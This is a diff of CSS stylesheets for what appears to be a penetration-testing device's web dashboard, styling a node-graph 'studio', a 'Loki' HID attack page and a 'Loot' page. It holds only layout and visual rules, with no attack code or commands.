--st-tap: 44px; + --studio-header-h: 52px; + background: var(--st-bg); + color: var(--st-text); + font: 14px/1.35 Inter, system-ui, -apple-system, Segoe UI, Roboto, sans-serif; + overflow: hidden; + height: 100%; +} + +.studio-container #app { + display: grid; + grid-template-rows: auto 1fr auto; + height: 100%; +} + +.studio-container header { + display: flex; + align-items: center; + gap: .5rem; + padding: .6rem .8rem; + min-height: var(--studio-header-h); + background: color-mix(in oklab, var(--st-panel) 95%, #050b12 5%); + border-bottom: 1px solid var(--st-border); + backdrop-filter: blur(8px); + z-index: 20; +} + +.studio-container .logo { + width: 22px; + height: 22px; + border-radius: 6px; + background: conic-gradient(from 210deg, var(--st-neon), var(--st-neon2)); + box-shadow: 0 0 32px rgba(90, 255, 200, .22); +} + +.studio-container h1 { + font-size: 15px; + letter-spacing: .3px; +} + +.studio-container .sp { + flex: 1; +} + +.studio-container .btn { + display: inline-flex; + align-items: center; + justify-content: center; + gap: .45rem; + padding: .48rem .7rem; + border-radius: 12px; + background: #0c2132; + border: 1px solid var(--st-border); + color: var(--st-text); + cursor: pointer; + font-size: 13px; + transition: all .2s; + min-height: var(--st-tap); +} + +.studio-container .btn:hover { + transform: translateY(-1px); + background: #0e2437; +} + +.studio-container .btn:active { + transform: scale(.98); +} + +.studio-container .btn.primary { + background: linear-gradient(180deg, #0e2f25, #0b241d); + border-color: #1d5a45; + color: var(--st-neon); +} + +.studio-container .btn.icon { + width: var(--st-tap); + padding: 0; +} + +.studio-container main { + display: grid; + grid-template-columns: 320px 1fr 360px; + gap: 8px; + padding: 8px; + min-height: 0; + height: 100%; +} + +.studio-container .studio-side-backdrop { + display: none; + position: fixed; + inset: var(--h-topbar, 56px) 0 var(--h-bottombar, 56px) 0; + z-index: 2150; + border: 0; + margin: 0; + padding: 0; + background: rgba(0, 0, 0, .52); +} + +@media (max-width:1100px) { + .studio-container { + --studio-header-h: 46px; + } + + .studio-container header { + min-height: var(--studio-header-h); + padding: 6px 8px; + gap: 6px; + position: relative; + z-index: 2300; + } + + .studio-container h1 { + font-size: 14px; + max-width: 34vw; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + } + + .studio-container .logo { + width: 18px; + height: 18px; + } + + .studio-container main { + grid-template-columns: 1fr; + grid-template-rows: 1fr auto; + gap: 8px; + height: auto; + } + + .studio-container #left, + .studio-container #right { + position: fixed; + z-index: 2200; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + width: min(90vw, 420px); + max-width: 420px; + transition: transform .25s ease, opacity .25s; + opacity: .98; + } + + .studio-container #left { + left: 0; + transform: translateX(-120%); + } + + .studio-container #left.open { + transform: translateX(0); + } + + .studio-container #right { + right: 0; + transform: translateX(120%); + } + + .studio-container #right.open { + transform: translateX(0); + } + + .studio-container #btnPal, + .studio-container #btnIns { + position: fixed; + top: auto; + bottom: calc(var(--h-bottombar, 56px) + 14px); + z-index: 82; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--c-panel) 94%, transparent); + color: var(--ink); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + } + + .studio-container #btnPal { + left: 10px; + } + + .studio-container #btnIns { + right: 10px; + } + + .studio-container #btnPal:hover, + .studio-container #btnIns:hover { + opacity: 1; + transform: translateY(-1px); + } + + .studio-container #btnPal, + .studio-container #btnIns, + .studio-container #btnAutoLayout, + .studio-container #btnRepel, + .studio-container #btnHelp, + .studio-container #btnApply { + display: none; + } + + .studio-mobile-dock { + display: flex; + } + + .studio-container footer { + display: none; + } + + .studio-toast { + bottom: calc(var(--h-bottombar, 56px) + 104px); + } + + .studio-container .studio-side-backdrop.show { + display: block; + } +} + +.studio-container #left { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 12px; + display: flex; + flex-direction: column; + min-height: 0; + overflow: hidden; +} + +.studio-container .tabs { + display: flex; + gap: 4px; + padding: 8px; + border-bottom: 1px solid var(--st-border); +} + +.studio-container .tab { + padding: 6px 12px; + border-radius: 10px; + background: var(--st-card); + border: 1px solid transparent; + cursor: pointer; + font-size: 13px; +} + +.studio-container .tab.active { + background: var(--st-card2); + border-color: var(--st-neon2); + color: var(--st-neon2); +} + +.studio-container .tab-content { + flex: 1; + padding: 10px; + overflow: auto; + display: none; +} + +.studio-container .tab-content.active { + display: block; +} + +.studio-container h2 { + margin: .2rem 0 .6rem; + font-size: 12px; + color: var(--st-muted); + letter-spacing: .2px; + text-transform: uppercase; +} + +.studio-container .search-row { + position: relative; + margin-bottom: 10px; +} + +.studio-container input.search { + width: 100%; + background: #0a1f2e; + color: var(--st-text); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: .6rem 2.1rem .6rem .7rem; + margin-bottom: 0; + font-size: 14px; +} + +.studio-container .search-clear { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 26px; + height: 26px; + border-radius: 999px; + border: 1px solid var(--st-border); + background: #0f2536; + color: var(--st-muted); + cursor: pointer; + display: none; +} + +.studio-container .search-clear.show { + display: inline-flex; + align-items: center; + justify-content: center; +} + +.studio-container .search-clear:hover { + color: var(--st-text); + border-color: color-mix(in oklab, var(--st-neon2) 45%, var(--st-border)); +} + +.studio-container .palette-meta { + display: flex; + gap: 6px; + flex-wrap: wrap; + margin-bottom: 10px; +} + +.studio-container .palette-meta .pill { + font-size: 10px; + padding: .2rem .48rem; +} + +.studio-container .pitem { + border: 1px solid var(--st-border); + background: #0a1b2a; + border-radius: 12px; + padding: 10px; + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; + user-select: none; + margin-bottom: 6px; + cursor: grab; + transition: all .2s; +} + +.studio-container .pitem:active { + cursor: grabbing; +} + +.studio-container .pitem:hover { + transform: translateX(2px); + background: #0c1e2d; +} + +.studio-container .pitem.placed { + opacity: .55; +} + +.studio-container .pmeta { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .padd { + border: 1px solid var(--st-border); + background: #0b2437; + border-radius: 10px; + padding: .35rem .6rem; + font-size: 12px; + cursor: pointer; +} + +.studio-container .padd:hover { + background: var(--st-neon2); + color: var(--st-bg); + transform: scale(1.05); +} + +.studio-container .action-icon { + width: 24px; + height: 24px; + border-radius: 6px; + margin-right: 8px; + object-fit: cover; +} + +.studio-container .host-card { + border: 1px solid var(--st-border); + background: linear-gradient(135deg, #0b1e2c, #0a1b2a); + border-radius: 12px; + padding: 10px; + margin-bottom: 6px; + cursor: grab; +} + +.studio-container .host-card:active { + cursor: grabbing; +} + +.studio-container .host-card.simulated { + border-color: var(--st-neon2); + background: linear-gradient(135deg, #0b2233, #0a1f2e); +} + +.studio-container .host-card .row { + display: flex; + gap: 6px; + flex-wrap: wrap; + align-items: center; + font-size: 12px; + margin-top: 4px; +} + +.studio-container .host-card .row .btn { + padding: .25rem .5rem; + font-size: 11px; +} + +.studio-container #center { + position: relative; + border: 1px solid var(--st-border); + border-radius: 12px; + background: radial-gradient(1200px 800px at 0% 0%, #0a1827 0%, #060c12 60%), #060c12; + overflow: hidden; + touch-action: none; +} + +.studio-container #bggrid { + position: absolute; + inset: 0; + background-image: linear-gradient(#0f2b3f 1px, transparent 1px), linear-gradient(90deg, #0f2b3f 1px, transparent 1px); + background-size: 40px 40px; + opacity: .18; + pointer-events: none; +} + +.studio-container #canvas { + position: absolute; + left: 0; + top: 0; + transform-origin: 0 0; +} + +.studio-container #nodes { + position: absolute; + left: 0; + top: 0; + width: 4000px; + height: 3000px; +} + +.studio-container #links { + position: absolute; + left: 0; + top: 0; + width: 4000px; + height: 3000px; + overflow: visible; + pointer-events: auto; +} + +.studio-container #controls { + position: absolute; + right: 10px; + bottom: 10px; + display: flex; + flex-direction: column; + gap: 6px; + z-index: 5; +} + +.studio-container .canvas-hint { + position: absolute; + left: 10px; + right: 72px; + bottom: 10px; + z-index: 6; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 10px; + border-radius: 12px; + border: 1px solid var(--st-border); + background: color-mix(in oklab, #07111a 78%, transparent); + color: var(--st-muted); + backdrop-filter: blur(8px); + box-shadow: 0 6px 18px rgba(0, 0, 0, .25); +} + +.studio-container .canvas-hint strong { + color: var(--st-text); + font-size: 12px; +} + +.studio-container .canvas-hint span { + font-size: 12px; +} + +.studio-container .canvas-hint.hidden { + display: none; +} + +.studio-container .canvas-hint .btn.icon { + margin-left: auto; + width: 28px; + min-height: 28px; + border-radius: 999px; +} + +.studio-container .ctrl { + width: 44px; + height: 44px; + border-radius: 12px; + border: 1px solid var(--st-border); + background: #0a1f2e; + color: var(--st-text); + cursor: pointer; + transition: all .2s; +} + +.studio-container .ctrl:hover { + background: #0c2437; + transform: scale(1.05); +} + +.studio-container .ctrl:active { + transform: scale(.97); +} + +.studio-container .node { + position: absolute; + min-width: 240px; + max-width: 320px; + color: var(--st-text); + background: linear-gradient(180deg, var(--st-card) 0%, var(--st-card2) 100%); + border: 2px solid var(--st-border); + border-radius: 12px; + box-shadow: 0 12px 32px rgba(0, 0, 0, .28); + transition: transform .2s, box-shadow .2s, min-height .2s; + cursor: grab; +} + +.studio-container .node:active { + cursor: grabbing; +} + +.studio-container .node:hover { + transform: translateY(-2px); + box-shadow: 0 16px 40px rgba(0, 0, 0, .4); +} + +.studio-container .node.sel { + outline: 2px solid var(--st-neon); + outline-offset: 2px; +} + +.studio-container .nhdr { + display: flex; + align-items: center; + justify-content: space-between; + gap: 6px; + padding: 8px 10px; + border-bottom: 1px solid var(--st-border); + background: rgba(0, 0, 0, .2); + border-radius: 10px 10px 0 0; +} + +.studio-container .nname { + font-weight: 700; + font-size: 13px; + letter-spacing: .2px; + display: flex; + align-items: center; + gap: 6px; +} + +.studio-container .node-icon { + width: 20px; + height: 20px; + border-radius: 4px; + object-fit: cover; +} + +.studio-container .badge { + font-size: 11px; + color: #97e8ff; + background: #0b2b3f; + border: 1px solid #214b67; + padding: .14rem .45rem; + border-radius: 999px; +} + +.studio-container .nbody { + padding: 8px 10px; + display: grid; + gap: 6px; + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .row { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.studio-container .k { + color: #7fa6c4; +} + +.studio-container .v { + color: var(--st-text); +} + +.studio-container .nclose { + border: none; + background: transparent; + color: #9fb4c9; + font-size: 16px; + cursor: pointer; + opacity: 0; + transition: opacity .2s; +} + +.studio-container .node:hover .nclose { + opacity: 1; +} + +.studio-container .host .badge { + color: #9effc5; + background: #0f2a22; + border-color: #1f604b; +} + +.studio-container .host { + background: linear-gradient(180deg, #0c241b, #0d2732); + border-color: var(--st-host); +} + +.studio-container .global .badge { + color: #e6ddff; + background: #1b1335; + border-color: #4a3cb0; +} + +.studio-container .global { + border-color: var(--st-global); +} + +.studio-container .bjorn { + min-width: 120px; + max-width: 140px; + border-radius: 12px; + overflow: hidden; +} + +.studio-container .bjorn .nhdr { + border-bottom: none; + background: linear-gradient(180deg, #1a1a2e, #16213e); +} + +.studio-container .rail { + position: absolute; + top: 10px; + bottom: 10px; + width: 18px; + border-radius: 10px; + border: 1px solid var(--st-border); + background: #0a1f2e; + display: flex; + flex-direction: column; + align-items: center; + gap: 6px; + padding: 6px; + cursor: crosshair; + z-index: 3; +} + +.studio-container .rail.left { + left: -10px; +} + +.studio-container .rail.right { + right: -10px; + background: #0f2a22; + border-color: #1f604b; +} + +.studio-container .port { + width: 10px; + height: 10px; + border: 2px solid #0a1120; + border-radius: 50%; + background: var(--st-neon2); + box-shadow: 0 0 10px rgba(88, 201, 255, .5); +} + +.studio-container .rail.right .port { + background: var(--st-neon); +} + +.studio-container .port.add { + opacity: .5; + outline: 1px dashed #31597b; +} + +.studio-container svg { + pointer-events: none; +} + +.studio-container .path { + fill: none; + stroke: var(--st-edge); + stroke-width: 2.5; + opacity: .95; + pointer-events: stroke; + cursor: pointer; + transition: all .2s; +} + +.studio-container .path:hover { + stroke-width: 3.5; + opacity: 1; +} + +.studio-container .path.ok { + stroke: var(--st-ok); +} + +.studio-container .path.bad { + stroke: var(--st-bad); +} + +.studio-container .path.req { + stroke: var(--st-neon2); +} + +.studio-container .path.flow { + stroke-dasharray: 6 9; + animation: as-flow 1.5s linear infinite; +} + +@keyframes as-flow { + to { + stroke-dashoffset: -60; + } +} + +.studio-container .edgelabel { + font-size: 11px; + fill: #d7ebff; + paint-order: stroke; + stroke: #0c1724; + stroke-width: 3px; + cursor: pointer; + pointer-events: all; +} + +.studio-container .edgelabel.bad { + fill: #ffd4da; +} + +.studio-container .edgelabel.ok { + fill: #c8ffe7; +} + +.studio-container .edgelabel.req { + fill: #d7e2ff; +} + +.studio-container #right { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 10px; + display: flex; + flex-direction: column; + gap: 10px; + min-height: 0; + overflow: auto; +} + +.studio-container .section { + background: #0b1d2b; + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 10px; +} + +.studio-container .section h3 { + margin: .2rem 0 .6rem; + font-size: 13px; + color: var(--st-muted); +} + +.studio-container label { + display: flex; + flex-direction: column; + gap: .3rem; + margin: .45rem 0; +} + +.studio-container label span { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container input, +.studio-container select, +.studio-container textarea { + background: #0a1f2e; + color: var(--st-text); + border: 1px solid var(--st-border); + border-radius: 10px; + padding: .6rem .65rem; + font: inherit; + outline: none; + transition: all .2s; + min-height: 40px; +} + +.studio-container input:focus, +.studio-container select:focus, +.studio-container textarea:focus { + border-color: var(--st-neon2); + box-shadow: 0 0 0 2px rgba(87, 201, 255, 0.2); +} + +.studio-container textarea { + min-height: 86px; + resize: vertical; +} + +.studio-container .small { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .pill { + display: inline-flex; + gap: 6px; + align-items: center; + padding: .14rem .5rem; + border-radius: 999px; + border: 1px solid var(--st-border); + background: #0b2233; + font-size: 11px; +} + +.studio-container hr { + border: none; + border-top: 1px solid var(--st-border); + margin: .6rem 0; +} + +.studio-container .form-row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +@media (max-width:600px) { + .studio-container .form-row { + grid-template-columns: 1fr; + } +} + +.studio-container footer { + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; + padding: 8px; + border-top: 1px solid var(--st-border); + background: linear-gradient(90deg, rgba(10, 23, 34, .6), rgba(6, 16, 24, .8)); + font-size: 12px; + color: var(--st-muted); +} + +.studio-container footer { + flex-wrap: wrap; + justify-content: flex-start; +} + +.studio-container .menu .item:hover { + background: color-mix(in oklab, var(--st-neon2) 16%, transparent); +} + +.studio-container #mainMenu { + z-index: 2400 !important; +} + +.studio-container .modal { + display: none; + position: fixed; + inset: 0; + background: rgba(0, 0, 0, .8); + z-index: 2500; + align-items: center; + justify-content: center; +} + +.studio-container .modal.show { + display: flex; +} + +.studio-container .modal-content { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 16px; + padding: 20px; + max-width: 560px; + width: 92vw; + max-height: 90vh; + overflow: auto; +} + +.studio-container .modal-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16px; +} + +.studio-container .modal-title { + font-size: 18px; + font-weight: 600; +} + +.studio-container .modal-close { + background: none; + border: none; + color: #fff; + font-size: 24px; + cursor: pointer; +} + +.studio-container #helpModal .section { + margin-bottom: 10px; +} + +.studio-container #helpModal .section .small { + display: block; + margin: 5px 0; +} + +.studio-container .edge-menu { + position: fixed; + background: var(--st-card); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 6px; + box-shadow: 0 8px 24px rgba(0, 0, 0, .4); + z-index: 2550; + display: none; +} + +.studio-container .edge-menu.show { + display: block; +} + +.studio-container .edge-menu-item { + padding: 10px 12px; + border-radius: 8px; + cursor: pointer; + font-size: 13px; +} + +.studio-container .edge-menu-item:hover { + background: #0b2233; +} + +.studio-container .edge-menu-item.danger { + color: var(--st-bad); +} + +.studio-mobile-dock { + display: none; + position: fixed; + left: 10px; + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 8px); + z-index: 2250; + gap: 6px; + align-items: center; + justify-content: space-between; + padding: 8px; + border: 1px solid var(--st-border); + border-radius: 14px; + background: color-mix(in oklab, #08131d 90%, transparent); + box-shadow: 0 10px 24px rgba(0, 0, 0, .35); + backdrop-filter: blur(8px); +} + +.studio-mobile-dock .btn { + min-height: 38px; + padding: .4rem .7rem; + font-size: 13px; + display: inline-flex; + align-items: center; + justify-content: center; + flex: 1; +} + +.studio-mobile-stats { + color: var(--st-muted); + font-size: 11px; + min-width: 56px; + text-align: center; +} + +.studio-toast { + position: fixed; + right: 12px; + bottom: calc(var(--h-bottombar, 56px) + 74px); + z-index: 2800; + min-width: 180px; + max-width: min(92vw, 380px); + padding: 10px 14px; + border-radius: 10px; + border: 1px solid var(--st-border); + background: color-mix(in oklab, #0b1620 92%, transparent); + color: var(--st-text); + box-shadow: 0 8px 20px rgba(0, 0, 0, .32); + transition: opacity .25s ease; + opacity: 0; +} + +.studio-toast.success { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.studio-toast.error { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.studio-toast.warn { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +@media (max-width:960px) { + .studio-container header { + flex-wrap: nowrap; + overflow: visible; + min-height: 44px; + padding: 6px 8px; + } + + .studio-container h1 { + white-space: nowrap; + } + + .studio-container .logo { + width: 18px; + height: 18px; + } + + .studio-container .canvas-hint { + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-container #controls { + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-toast { + bottom: calc(var(--h-bottombar, 56px) + 108px); + } +} + +@media (max-width:640px) { + .studio-container footer { + display: none; + } + + .studio-container footer .pill:nth-child(4), + .studio-container footer .pill:nth-child(5) { + display: none; + } + + .studio-container .canvas-hint { + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-container .canvas-hint span { + display: none; + } + + .studio-mobile-dock .btn { + padding: .34rem .5rem; + min-width: 62px; + } +} \ No newline at end of file diff --git a/web/css/pages/loki.css b/web/css/pages/loki.css new file mode 100644 index 0000000..204cd53 --- /dev/null +++ b/web/css/pages/loki.css @@ -0,0 +1,403 @@ +/* ============================================================ + Loki (HID Attack Mode) — SPA page styles + ============================================================ */ + +.loki-page { + display: flex; + flex-direction: column; + height: 100%; + min-height: 0; + gap: 12px; + padding: 15px; +} + +/* ── Header bar ─────────────────────────────────────────── */ + +.loki-header { + display: flex; + justify-content: space-between; + align-items: center; + flex-shrink: 0; + flex-wrap: wrap; + gap: 10px; +} + +.loki-title { + margin: 0; + font-size: 1.3rem; + font-weight: 800; + color: var(--ink); + display: flex; + align-items: center; + gap: 8px; +} + +.loki-title-icon { font-size: 1.5rem; } + +.loki-controls { + display: flex; + gap: 8px; + align-items: center; +} + +/* ── Status bar ─────────────────────────────────────────── */ + +.loki-status-bar { + display: flex; + flex-wrap: wrap; + gap: 12px; + padding: 10px 14px; + border-radius: 8px; + background: var(--surface); + border: 1px solid var(--line); + font-size: 0.85rem; + color: var(--muted); +} + +.loki-status-item { + display: flex; + align-items: center; + gap: 4px; +} + +.loki-status-item .label { font-weight: 600; } +.loki-status-item .value { color: var(--ink); } + +.loki-status-item .dot { + width: 8px; + height: 8px; + border-radius: 50%; + display: inline-block; +} +.loki-status-item .dot.on { background: var(--ok, #10b981); } +.loki-status-item .dot.off { background: var(--muted, #888); } + +/* ── Grid: Editor + Library ──────────────────────────────── */ + +.loki-grid { + display: grid; + grid-template-columns: 1fr 280px; + gap: 12px; + flex: 1; + min-height: 0; +} + +@media (max-width: 768px) { + .loki-grid { + grid-template-columns: 1fr; + grid-template-rows: 1fr auto; + } +} + +/* ── Editor panel ────────────────────────────────────────── */ + +.loki-editor-panel { + display: flex; + flex-direction: column; + gap: 8px; + min-height: 0; +} + +.loki-editor { + flex: 1; + min-height: 200px; + width: 100%; + font-family: 'Courier New', 'Fira Code', monospace; + font-size: 0.85rem; + line-height: 1.5; + padding: 12px; + border: 1px solid var(--line); + border-radius: 8px; + background: var(--surface); + color: var(--ink); + resize: vertical; + tab-size: 2; + white-space: pre; + overflow: auto; +} + +.loki-editor:focus { + outline: 2px solid var(--accent, #3b82f6); + outline-offset: -1px; +} + +.loki-editor-toolbar { + display: flex; + flex-wrap: wrap; + gap: 8px; + align-items: center; +} + +.loki-editor-toolbar select { + padding: 6px 10px; + border: 1px solid var(--line); + border-radius: 6px; + background: var(--surface); + color: var(--ink); + font-size: 0.8rem; +} + +/* ── Library panel ───────────────────────────────────────── */ + +.loki-library { + display: flex; + flex-direction: column; + gap: 8px; + min-height: 0; + max-height: 100%; + overflow-y: auto; +} + +.loki-library-section { + border: 1px solid var(--line); + border-radius: 8px; + background: var(--surface); + overflow: hidden; +} + +.loki-library-heading { + padding: 8px 12px; + font-weight: 700; + font-size: 0.8rem; + text-transform: uppercase; + letter-spacing: 0.05em; + color: var(--muted); + border-bottom: 1px solid var(--line); + cursor: pointer; + user-select: none; + display: flex; + justify-content: space-between; + align-items: center; +} + +.loki-library-heading::after { + content: '▾'; + font-size: 0.7rem; +} + +.loki-library-list { + list-style: none; + margin: 0; + padding: 0; + max-height: 200px; + overflow-y: auto; +} + +.loki-library-item { + padding: 6px 12px; + cursor: pointer; + font-size: 0.8rem; + color: var(--ink); + border-bottom: 1px solid var(--line-faint, var(--line)); + transition: background 0.15s; + display: flex; + justify-content: space-between; + align-items: center; +} + +.loki-library-item:last-child { border-bottom: none; } + +.loki-library-item:hover { + background: var(--hover, rgba(0,0,0,0.04)); +} + +.loki-library-item.active { + background: var(--accent-bg, rgba(59, 130, 246, 0.1)); + font-weight: 600; +} + +.loki-library-item .name { flex: 1; } +.loki-library-item .badge { + font-size: 0.65rem; + padding: 1px 5px; + border-radius: 4px; + background: var(--muted); + color: var(--surface, #fff); +} + +/* ── Jobs panel ──────────────────────────────────────────── */ + +.loki-jobs { + flex-shrink: 0; +} + +.loki-jobs-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 8px; +} + +.loki-jobs-header h3 { + margin: 0; + font-size: 0.95rem; + font-weight: 700; + color: var(--ink); +} + +.loki-jobs-table { + width: 100%; + border-collapse: collapse; + font-size: 0.8rem; +} + +.loki-jobs-table th, +.loki-jobs-table td { + padding: 6px 10px; + text-align: left; + border-bottom: 1px solid var(--line); +} + +.loki-jobs-table th { + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + font-size: 0.7rem; + letter-spacing: 0.04em; +} + +.loki-jobs-empty { + text-align: center; + padding: 16px; + color: var(--muted); + font-size: 0.85rem; +} + +/* ── Job status badges ───────────────────────────────────── */ + +.loki-badge { + display: inline-flex; + align-items: center; + gap: 4px; + padding: 2px 8px; + border-radius: 10px; + font-size: 0.7rem; + font-weight: 600; + white-space: nowrap; +} + +.loki-badge.running { background: #fef3c7; color: #92400e; } +.loki-badge.succeeded { background: #d1fae5; color: #065f46; } +.loki-badge.failed { background: #fee2e2; color: #991b1b; } +.loki-badge.cancelled { background: #e5e7eb; color: #374151; } +.loki-badge.pending { background: #e0e7ff; color: #3730a3; } + +/* ── Buttons ─────────────────────────────────────────────── */ + +.loki-btn { + padding: 6px 14px; + border: 1px solid var(--line); + border-radius: 6px; + background: var(--surface); + color: var(--ink); + font-size: 0.8rem; + font-weight: 600; + cursor: pointer; + transition: all 0.15s; + display: inline-flex; + align-items: center; + gap: 4px; +} + +.loki-btn:hover { background: var(--hover, rgba(0,0,0,0.04)); } + +.loki-btn.primary { + background: var(--accent, #3b82f6); + color: #fff; + border-color: var(--accent, #3b82f6); +} +.loki-btn.primary:hover { filter: brightness(1.1); } + +.loki-btn.danger { + background: var(--danger, #ef4444); + color: #fff; + border-color: var(--danger, #ef4444); +} +.loki-btn.danger:hover { filter: brightness(1.1); } + +.loki-btn:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +/* ── Toggle switch ───────────────────────────────────────── */ + +.loki-toggle { + position: relative; + width: 44px; + height: 24px; + appearance: none; + background: var(--muted, #ccc); + border-radius: 12px; + cursor: pointer; + transition: background 0.3s; + border: none; +} + +.loki-toggle:checked { background: var(--ok, #10b981); } + +.loki-toggle::after { + content: ''; + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: #fff; + transition: transform 0.3s; +} + +.loki-toggle:checked::after { transform: translateX(20px); } + +/* ── Disabled overlay ────────────────────────────────────── */ + +.loki-disabled-overlay { + position: relative; +} + +.loki-disabled-overlay::after { + content: ''; + position: absolute; + inset: 0; + background: var(--surface, #fff); + opacity: 0.6; + pointer-events: all; + border-radius: 8px; + z-index: 2; +} + +/* ── Quick type ──────────────────────────────────────────── */ + +.loki-quick-row { + display: flex; + gap: 8px; + align-items: center; +} + +.loki-quick-input { + flex: 1; + padding: 6px 10px; + border: 1px solid var(--line); + border-radius: 6px; + font-size: 0.8rem; + background: var(--surface); + color: var(--ink); +} + +/* ── Install banner ─────────────────────────────────────── */ + +.loki-install-banner { + padding: 16px 20px; + background: var(--warn-bg, #fff3cd); + border: 1px solid var(--warn-border, #ffc107); + border-radius: 8px; + text-align: center; + margin-bottom: 4px; +} + +.loki-install-banner p { + margin: 0 0 12px; + font-size: 0.85rem; + color: var(--ink); +} diff --git a/web/css/pages/loot.css b/web/css/pages/loot.css new file mode 100644 index 0000000..bb922f8 --- /dev/null +++ b/web/css/pages/loot.css @@ -0,0 +1,633 @@ +/* ========================================================================== + LOOT + ========================================================================== */ +.loot-container { + position: relative; + z-index: 2; + padding: 16px; + margin-top: 5px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + display: flex; + flex-direction: column; + gap: 16px; + animation: loot-fadeInUp .6s ease-out; + overflow: hidden; +} + +@keyframes loot-fadeInUp { + from { + opacity: 0; + transform: translateY(30px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.loot-container .stats-bar { + display: flex; + gap: 12px; + flex-wrap: wrap; + padding: 12px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + box-shadow: var(--_shadow); + backdrop-filter: blur(16px); +} + +.loot-container .stat-item { + display: flex; + align-items: center; + gap: 8px; + padding: 8px 16px; + background: color-mix(in oklab, var(--_panel) 65%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + transition: .2s; +} + +.loot-container .stat-item:hover { + background: color-mix(in oklab, var(--_panel) 78%, transparent); + transform: translateY(-2px); +} + +.loot-container .stat-icon { + font-size: 1.2rem; + opacity: .95; +} + +.loot-container .stat-value { + font-size: 1.05rem; + font-weight: 800; + background: linear-gradient(135deg, var(--_acid), var(--_acid2)); + -webkit-background-clip: text; + background-clip: text; + -webkit-text-fill-color: transparent; +} + +.loot-container .stat-label { + color: var(--_muted); + font-size: .75rem; + margin-left: 4px; +} + +.loot-container .controls-bar { + display: flex; + gap: 12px; + align-items: center; + flex-wrap: wrap; +} + +.loot-container .search-container { + min-width: 200px; + position: relative; +} + +.loot-container .search-input { + width: 100%; + padding: 12px 16px 12px 44px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + color: var(--_ink); + font-size: .95rem; + backdrop-filter: blur(10px); + transition: .2s; +} + +.loot-container .search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.loot-container .search-icon { + position: absolute; + left: 16px; + top: 50%; + transform: translateY(-50%); + color: var(--_muted); + pointer-events: none; +} + +.loot-container .clear-search { + position: absolute; + right: 12px; + top: 50%; + transform: translateY(-50%); + color: var(--_muted); + cursor: pointer; + font-size: 1rem; + display: none; +} + +.loot-container .search-input:not(:placeholder-shown)~.clear-search { + display: block; +} + +.loot-container .view-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.loot-container .view-btn, +.loot-container .sort-btn { + padding: 10px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + color: var(--_muted); + cursor: pointer; + transition: .2s; + backdrop-filter: blur(10px); + font-size: 1.1rem; +} + +.loot-container .view-btn:hover, +.loot-container .sort-btn:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + transform: translateY(-2px); +} + +.loot-container .view-btn.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 20%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.loot-container .sort-dropdown { + position: relative; +} + +.loot-container .sort-menu { + position: absolute; + top: calc(100% + 8px); + right: 0; + background: color-mix(in oklab, var(--_panel) 98%, transparent); + border: 1px solid var(--_border); + border-radius: 12px; + padding: 8px; + min-width: 150px; + backdrop-filter: blur(20px); + box-shadow: var(--_shadow); + opacity: 0; + pointer-events: none; + transform: translateY(-10px); + transition: .2s; + z-index: 10; +} + +.loot-container .sort-dropdown.active .sort-menu { + opacity: 1; + pointer-events: auto; + transform: translateY(0); +} + +.loot-container .sort-option { + padding: 10px 12px; + border-radius: 8px; + cursor: pointer; + transition: .2s; + font-size: .9rem; + color: var(--_ink); +} + +.loot-container .sort-option:hover { + background: rgba(255, 255, 255, .05); +} + +.loot-container .sort-option.active { + color: var(--_ink); + background: color-mix(in oklab, var(--_acid2) 14%, transparent); +} + 